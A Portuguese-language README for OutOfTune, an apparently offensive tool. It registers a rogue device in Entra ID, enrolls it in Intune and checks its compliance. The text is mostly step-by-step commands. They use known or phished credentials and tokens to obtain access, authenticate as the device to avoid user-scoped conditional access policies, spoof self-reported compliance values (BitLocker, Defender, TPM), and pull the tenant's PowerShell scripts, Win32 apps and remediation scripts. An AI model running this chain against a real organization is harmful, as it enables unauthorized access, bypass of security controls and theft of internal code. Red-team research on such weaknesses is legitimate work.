OutOfTune

Inspirado pelo Pytune original, o OutOfTune registra um dispositivo invasor no Entra ID, inscreve-o no Intune MDM e verifica o estado de conformidade resultante.

Suporta apenas dispositivos Windows, pois este era meu objetivo principal; talvez adicione outros no futuro.

Blog de acompanhamento:

• https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
• https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/

Requisitos

pip install -r requirements.txt

Como funciona

A cadeia é executada em fases, cada uma baseada no estado salvo em chain_state.json.

drs-token  ->  device-join  ->  device-token  ->  mdm-enroll  ->  mdm-checkin

1. drs-token - obter um token de acesso DRS (ROPC ou pré-phishing)
2. device-join - registrar um novo objeto de dispositivo no Entra ID, obter um certificado de dispositivo
3. device-token - autenticar como principal do dispositivo, obter um token de inscrição do Intune
4. mdm-enroll - descoberta SOAP + inscrição WS-Trust, obter um certificado de cliente MDM
5. mdm-checkin - check-in OMA-DM SyncML, buscar políticas, opcionalmente definir um usuário principal

Uso

1. Obter um token DRS

ROPC (credenciais conhecidas):

python OutOfTune.py drs-token -u [email protected] -p Password1!

Token pré-obtido:

python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>

2. Associar um dispositivo ao Entra ID

python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01

Gera <NOMEDODISPOSITIVO>.pfx - o certificado do dispositivo. A senha é password.

3. Obter um token de principal do dispositivo

python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx

Autentica no AAD como o objeto do dispositivo (não como um usuário). Ignora políticas de CA com escopo de usuário.

4. Inscrever no Intune MDM

python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json

Executa a descoberta SOAP contra o endpoint MDM e, em seguida, envia uma solicitação de inscrição WS-Trust PKCS10. Gera <NOMEDODISPOSITIVO>_mdm.pfx.

Use --profile para falsificar os atributos de hardware/OS do dispositivo enviados ao Intune (consulte Perfis de Dispositivo).

5. Check-in OMA-DM

python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw

Executa o loop OMA-DM SyncML contra r.manage.microsoft.com. O Intune enviará perfis de configuração, atribuições de aplicativos e quaisquer outras políticas direcionadas ao dispositivo. Após a conclusão do loop, as informações são automaticamente extraídas e exibidas.

Se -r for fornecido, o refresh token é trocado por um token de acesso do manage.microsoft.com e enviado como Authorization: Bearer em cada solicitação SyncML. O Intune lê o UPN deste token e o define como o usuário principal do dispositivo, fazendo com que as políticas de conformidade com escopo de usuário sejam vinculadas. Você só precisa executar uma vez com -r para que um usuário seja atribuído; todos os check-ins subsequentes podem ser executados sem um refresh token.

Sem -r, o dispositivo não terá usuário principal.

Após este check-in inicial, se você não fizer check-in novamente por um período prolongado (geralmente 5-7 dias), o dispositivo pode ficar fora de conformidade devido à política padrão "Is Active". Dependendo da configuração do Intune, o dispositivo pode entrar em um período de carência antes de ser marcado como não conforme. Se isso acontecer, execute mdm-checkin novamente. Se você usou anteriormente um refresh token para atribuir um usuário principal, isso não precisa ser enviado novamente, pois o usuário principal agora está armazenado no backend do Intune.

Flags

Informações úteis extraídas

Analisar rodadas SyncML salvas

Re-analisar as rodadas XML brutas salvas com --save-syncml sem executar um check-in ao vivo.

python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2

Verificar estado de conformidade

python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!

Gera um PRT a partir do certificado do dispositivo, troca-o por um token IWService e consulta IWService/Devices pelo estado de conformidade do dispositivo e quaisquer regras não conformes.

Use -r com um refresh token de sessão MFA se o CA do locatário exigir MFA para o recurso de inscrição.

Baixar aplicativos e scripts

Busca aplicativos Win32 e scripts PowerShell atribuídos ao dispositivo via IME SideCarGateway. Usa apenas o certificado do cliente MDM — nenhum token de usuário é necessário.

python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx

• Scripts PowerShell são salvos em scripts/<PolicyId>.ps1
• Aplicativos Win32 são baixados do CDN, descriptografados e extraídos para apps/<AppName>/

Baixar scripts de remediação

Busca scripts de remediação proativa (pares de detecção + remediação) atribuídos ao dispositivo.

python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx

Cada política é salva em remediations/<PolicyId>/ contendo:

• detection.ps1 — o script de detecção
• remediation.ps1 — o script de remediação
• params.json — ID da política e quaisquer parâmetros de script

Limpeza

Se a remoção do dispositivo do Intune falhar, exclua-o do Entra. Ele então entrará em um período de carência no Intune e será automaticamente removido posteriormente.

Remover o dispositivo do Intune:

python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>

Remover o objeto do dispositivo do Entra ID:

python OutOfTune.py entra-delete

Verificar progresso da cadeia

python OutOfTune.py status

Perfis de Dispositivo

Os atributos do dispositivo enviados ao Intune durante a inscrição e o check-in são totalmente falsificáveis através de um perfil JSON. Isso inclui identificadores de hardware, versão do SO, fabricante e todos os valores de CSP de conformidade auto-relatados (BitLocker, Firewall, Defender, TPM, Secure Boot).

python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin   # o perfil é salvo no estado e reutilizado automaticamente

Perfis incluídos

Campos do perfil

Todos os valores de CSP DeviceStatus são auto-relatados e confiados pelo Intune sem verificação independente. As verificações de conformidade atestadas por HAS (BitLockerEnabled, SecureBootEnabled via CSP HealthAttestation) exigem um TPM real e não podem ser falsificadas desta forma.

Flags globais

--debug          log detalhado de HTTP + tokens
--proxy <url>    rotear tráfego através de um proxy (ex.: http://127.0.0.1:8080)

Estes vão antes do comando:

python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin

Substituições de certificado

Se você tiver certificados de uma execução anterior ou quiser usar arquivos PFX específicos:

python OutOfTune.py device-token      --cert path/to/device.pfx
python OutOfTune.py mdm-enroll        --cert path/to/device.pfx
python OutOfTune.py mdm-checkin       --cert path/to/mdm.pfx
python OutOfTune.py check             --cert path/to/device.pfx
python OutOfTune.py download-apps     --cert path/to/mdm.pfx
python OutOfTune.py get-remediations  --cert path/to/mdm.pfx

Arquivo de estado

Todas as saídas de fase são salvas em chain_state.json no diretório de trabalho. Exclua-o para começar do zero. Use status para inspecionar o estado atual sem executar nada. Se estiver lidando com vários dispositivos, certifique-se de que cada um tenha seu próprio arquivo de estado. O arquivo de estado padrão pode ser alterado no início do script para o dispositivo com o qual você está mexendo. Tenha cuidado com as opções de substituição de certificado; elas são principalmente para fins de depuração.

Créditos

Uma enorme quantidade de crédito vai para @temp43487580, que criou o Pytune original e cuja pesquisa original tornou isso possível

• https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf
• https://temp43487580.github.io/intune/bypass-enrollment-restictions-to-break-byod-barriers-in-intune/
• https://github.com/secureworks/pytune